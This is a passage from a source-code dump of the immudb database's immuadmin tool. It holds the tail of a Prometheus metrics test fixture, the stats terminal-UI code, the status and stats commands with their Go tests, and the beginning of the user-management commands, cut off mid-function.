0\ngrpc_server_msg_sent_total{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\n# HELP grpc_server_started_total Total number of RPCs started on the server.\n# TYPE grpc_server_started_total counter\ngrpc_server_started_total{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_started_total{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_started_total{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\n# HELP immudb_number_of_stored_entries Number of key-value entries currently stored by the database.\n# TYPE immudb_number_of_stored_entries counter\nimmudb_number_of_stored_entries 2\n# HELP immudb_uptime_hours Server uptime in hours.\n# TYPE immudb_uptime_hours counter\nimmudb_uptime_hours 0.010175722224166666\n# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.\n# TYPE process_cpu_seconds_total counter\nprocess_cpu_seconds_total 0.15\n# HELP process_max_fds Maximum number of open file descriptors.\n# TYPE process_max_fds gauge\nprocess_max_fds 1024\n# HELP process_open_fds Number of open file descriptors.\n# TYPE process_open_fds gauge\nprocess_open_fds 18\n# HELP process_resident_memory_bytes Resident memory size in bytes.\n# TYPE process_resident_memory_bytes gauge\nprocess_resident_memory_bytes 3.0961664e+07\n# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.\n# TYPE process_start_time_seconds gauge\nprocess_start_time_seconds 1.59471578385e+09\n# HELP process_virtual_memory_bytes Virtual memory size in bytes.\n# TYPE process_virtual_memory_bytes gauge\nprocess_virtual_memory_bytes 5.911216128e+09\n# HELP process_virtual_memory_max_bytes Maximum amount of virtual memory available in bytes.\n# TYPE process_virtual_memory_max_bytes gauge\nprocess_virtual_memory_max_bytes -1\n# HELP promhttp_metric_handler_requests_in_flight Current number of scrapes being served.\n# TYPE promhttp_metric_handler_requests_in_flight gauge\npromhttp_metric_handler_requests_in_flight 1\n# HELP promhttp_metric_handler_requests_total Total number of scrapes by HTTP status code.\n# TYPE promhttp_metric_handler_requests_total counter\npromhttp_metric_handler_requests_total{code=\"200\"} 1\npromhttp_metric_handler_requests_total{code=\"500\"} 0\npromhttp_metric_handler_requests_total{code=\"503\"} 0\n`)\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/ui.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\tui \"github.com/gizak/termui/v3\"\n)\n\n// Statsui ...\ntype Statsui interface {\n}\n\ntype statsui struct {\n\tcntrl  Controller\n\tLoader MetricsLoader\n\tTui    Tui\n}\n\nfunc (s statsui) loadAndRender() error {\n\tms, err := s.Loader.Load()\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.cntrl.Render(ms)\n\treturn nil\n}\n\nfunc (s statsui) runUI(singleRun bool) error {\n\tif err := s.Tui.Init(); err != nil {\n\t\treturn fmt.Errorf(\"failed to initialize termui: %v\", err)\n\t}\n\tdefer s.Tui.Close()\n\n\tms, err := s.Loader.Load()\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.cntrl = newStatsController(ms.isHistogramsDataAvailable(), s.Tui)\n\tif err := s.loadAndRender(); err != nil {\n\t\treturn err\n\t}\n\n\tev := s.Tui.PollEvents()\n\n\tticker := time.NewTicker(requestTimeout)\n\tdefer ticker.Stop()\n\ttick := ticker.C\n\n\tfor {\n\t\tselect {\n\t\tcase e := <-ev:\n\t\t\tswitch e.Type {\n\t\t\tcase ui.KeyboardEvent:\n\t\t\t\tswitch e.ID {\n\t\t\t\tcase \"q\", \"<C-c>\", \"<Escape>\":\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase ui.ResizeEvent:\n\t\t\t\ts.cntrl.Resize()\n\t\t\t}\n\t\tcase <-tick:\n\t\t\tif err := s.loadAndRender(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif singleRun {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/ui_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest\"\n\t\"github.com/prometheus/common/expfmt\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestRunUI(t *testing.T) {\n\tsui := statsui{Loader: metricsLoaderMock{}, Tui: tuiMock{}}\n\terr := sui.runUI(true)\n\tassert.NoError(t, err)\n}\n\ntype metricsLoaderMock struct{}\n\nfunc (ml metricsLoaderMock) Load() (*metrics, error) {\n\ttextParser := expfmt.TextParser{}\n\tmetricsFamilies, _ := textParser.TextToMetricFamilies(bytes.NewReader(statstest.StatsResponse))\n\tms := &metrics{}\n\tms.populateFrom(&metricsFamilies)\n\treturn ms, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immuadmin/command/stats\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nfunc (cl *commandline) status(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"status\",\n\t\tShort:             \"Show heartbeat status\",\n\t\tAliases:           []string{\"p\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cl.context\n\n\t\t\tinfo, err := cl.immuClient.ServerInfo(ctx, &schema.ServerInfoRequest{})\n\t\t\tif err != nil {\n\t\t\t\tc.QuitWithUserError(err)\n\t\t\t}\n\n\t\t\tstartedAt := time.Unix(info.StartedAt, 0)\n\t\t\tuptime := time.Now().Truncate(time.Second).Sub(startedAt)\n\n\t\t\tfmt.Fprintf(\n\t\t\t\tcmd.OutOrStdout(),\n\t\t\t\t\"Status:\\t\\tOK - server is reachable and responding to queries\\nVersion:\\t%s\\nUp time:\\t%s (up %s)\\nDatabases:\\t%d (%s)\\nTransactions:\\t%d\\n\",\n\t\t\t\tinfo.Version,\n\t\t\t\tstartedAt.Format(time.RFC822),\n\t\t\t\tuptime,\n\t\t\t\tinfo.NumDatabases,\n\t\t\t\tc.FormatByteSize(uint64(info.DatabasesDiskSize)),\n\t\t\t\tinfo.NumTransactions,\n\t\t\t)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) stats(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"stats\",\n\t\tShort:             \"Show statistics as text or visually with the '-v' option. Run 'immuadmin stats -h' for details.\",\n\t\tAliases:           []string{\"s\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\traw, err := cmd.Flags().GetBool(\"raw\")\n\t\t\tif err != nil {\n\t\t\t\tc.QuitToStdErr(err)\n\t\t\t}\n\t\t\toptions := cl.immuClient.GetOptions()\n\t\t\tif raw {\n\t\t\t\tif err := stats.ShowMetricsRaw(cmd.OutOrStderr(), options.Address); err != nil {\n\t\t\t\t\tc.QuitToStdErr(err)\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ttext, err := cmd.Flags().GetBool(\"text\")\n\t\t\tif err != nil {\n\t\t\t\tc.QuitToStdErr(err)\n\t\t\t}\n\t\t\tif text {\n\t\t\t\tif err := stats.ShowMetricsAsText(cmd.OutOrStderr(), options.Address); err != nil {\n\t\t\t\t\tc.QuitToStdErr(err)\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err := stats.ShowMetricsVisually(options.Address); err != nil {\n\t\t\t\tc.QuitToStdErr(err)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tccmd.Flags().BoolP(\"text\", \"t\", false, \"show statistics as text instead of the default graphical view\")\n\tccmd.Flags().BoolP(\"raw\", \"r\", false, \"show raw statistics\")\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestStats_Status(t *testing.T) {\n\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDir(t.TempDir())\n\tcliopt.DialOptions = dialOptions\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttkf := cmdtest.RandString()\n\tcl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: &clienttest.PasswordReaderMock{},\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf),\n\t}\n\tcmd, _ := cl.NewCmd()\n\n\tcl.status(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"status\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tstatcmd := cmd.Commands()[0]\n\tstatcmd.PersistentPreRunE = nil\n\n\tcmd.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"OK - server is reachable and responding to queries\")\n\tassert.Contains(t, string(out), \"Version\")\n\tassert.Contains(t, string(out), \"Up time\")\n\tassert.Contains(t, string(out), \"Databases\")\n\tassert.Contains(t, string(out), \"Transactions\")\n}\n\nfunc TestStats_StatsText(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\thandler := http.NewServeMux()\n\thandler.HandleFunc(\"/metrics\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif _, err := w.Write(statstest.StatsResponse); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t})\n\tserver := &http.Server{Addr: \":9497\", Handler: handler}\n\tgo server.ListenAndServe()\n\tdefer server.Close()\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDir(t.TempDir())\n\tcliopt.DialOptions = dialOptions\n\tcliopt.Address = \"127.0.0.1\"\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttkf := cmdtest.RandString()\n\tcl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: &clienttest.PasswordReaderMock{},\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf),\n\t}\n\tcmd, _ := cl.NewCmd()\n\n\tcl.stats(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"stats\", \"--text\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tstatcmd := cmd.Commands()[0]\n\tstatcmd.PersistentPreRunE = nil\n\n\tcmd.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Database\")\n}\n\nfunc TestStats_StatsRaw(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\thandler := http.NewServeMux()\n\thandler.HandleFunc(\"/metrics\", func(w http.ResponseWriter, r *http.Request) {\n\t\t_, _ = w.Write(statstest.StatsResponse)\n\t})\n\tserver := &http.Server{Addr: \":9497\", Handler: handler}\n\tgo server.ListenAndServe()\n\n\tdefer server.Close()\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options().WithDir(t.TempDir())\n\tcliopt.DialOptions = dialOptions\n\tcliopt.Address = \"127.0.0.1\"\n\tclientb, _ := client.NewImmuClient(cliopt)\n\ttkf := cmdtest.RandString()\n\tcl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     clientb,\n\t\tpasswordReader: &clienttest.PasswordReaderMock{},\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf),\n\t}\n\tcmd, _ := cl.NewCmd()\n\tcl.stats(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"stats\", \"--raw\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tstatcmd := cmd.Commands()[0]\n\tstatcmd.PersistentPreRunE = nil\n\n\tcmd.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"go_gc_duration_seconds\")\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/user.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/cobra\"\n)\n\nconst unsecurePasswordMsg = \"A strong password (containing upper and lower case letters, digits and symbols) would be advisable\"\n\nfunc (cl *commandline) user(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"user command\",\n\t\tShort:             \"Issue all user commands\",\n\t\tAliases:           []string{\"u\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t}\n\tuserListCmd := &cobra.Command{\n\t\tUse:   \"list\",\n\t\tShort: \"List all users\",\n\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.userList(args)\n\t\t\tif err != nil {\n\t\t\t\tc.QuitToStdErr(err)\n\t\t\t}\n\t\t\tfmt.Fprint(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MaximumNArgs(0),\n\t}\n\tuserCreate := &cobra.Command{\n\t\tUse:   \"create\",\n\t\tShort: \"Create a new user\",\n\t\tLong:  \"Create a new user inside a database with permissions\",\n\t\tExample: `immuadmin user create user1 read mydb\nimmuadmin user create user1 readwrite mydb\nimmuadmin user create user1 admin mydb`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.userCreate(cmd, args)\n\t\t\tif err != nil {\n\t\t\t\tc.QuitToStdErr(err)\n\t\t\t}\n\t\t\tfmt.Fprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.RangeArgs(2, 3),\n\t}\n\tuserChangePassword := &cobra.Command{\n\t\tUse:     \"changepassword\",\n\t\tShort:   \"Change user password\",\n\t\tExample: \"immuadmin user changepassword user1\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\tusername := args[0]\n\t\t\tvar resp string\n\t\t\tvar oldpass []byte\n\t\t\tif username == auth.SysAdminUsername {\n\t\t\t\toldpass, err = cl.passwordReader.Read(\"Old password:\")\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"Error Reading Password\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tif resp, _, err = cl.changeUserPassword(cmd, username, oldpass); err == nil {\n\t\t\t\tfmt.Fprintln(cmd.OutOrStdout(), resp)\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tuserActivate := &cobra.Command{\n\t\tUse:   \"activate\",\n\t\tShort: \"Activate a user\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\tvar resp string\n\t\t\tif resp, err = cl.setActiveUser(args, true); err == nil {\n\t\t\t\tfmt.Fprint(cmd.OutOrStdout(), resp)\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tuserDeactivate := &cobra.Command{\n\t\tUse:   \"deactivate\",\n\t\tShort: \"Deactivate a user\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\tvar resp string\n\t\t\tif resp, err = cl.setActiveUser(args, false); err == nil {\n\t\t\t\tfmt.Fprint(cmd.OutOrStdout(), resp)\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tuserPermission := &cobra.Command{\n\t\tUse:     \"permission [grant|revoke] {username} [read|readwrite|admin] {database}\",\n\t\tShort:   \"Set user permission\",\n\t\tExample: \"immuadmin user permission grant user1 readwrite mydb\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\tif _, err = cl.setUserPermission(args); err == nil {\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Permission changed successfully\")\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tArgs: cobra.ExactValidArgs(4),\n\t}\n\tccmd.AddCommand(userListCmd)\n\tccmd.AddCommand(userCreate)\n\tccmd.AddCommand(userChangePassword)\n\tccmd.AddCommand(userActivate)\n\tccmd.AddCommand(userDeactivate)\n\tccmd.AddCommand(userPermission)\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) changeUserPassword(cmd *cobra.Command, username string, oldpassword []byte) (string, []byte, error) {\n\tnewpass, err := cl.passwordReader.Read(fmt.Sprintf(\"Choose a password for %s:\", username))\n\tif err != nil {\n\t\treturn \"\", nil, errors.New(\"Error Reading Password\")\n\t}\n\n\tif err := cl.checkPassword(cmd, string(newpass)); err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\tpass2, err := cl.passwordReader.Read(\"Confirm password:\")\n\tif err != nil {\n\t\treturn \"\", nil, errors.New(\"Error Reading Password\")\n\t}\n\tif !bytes.Equal(newpass, pass2) {\n\t\treturn \"\", nil, errors.New(\"Passwords don't match\")\n\t}\n\tif err := 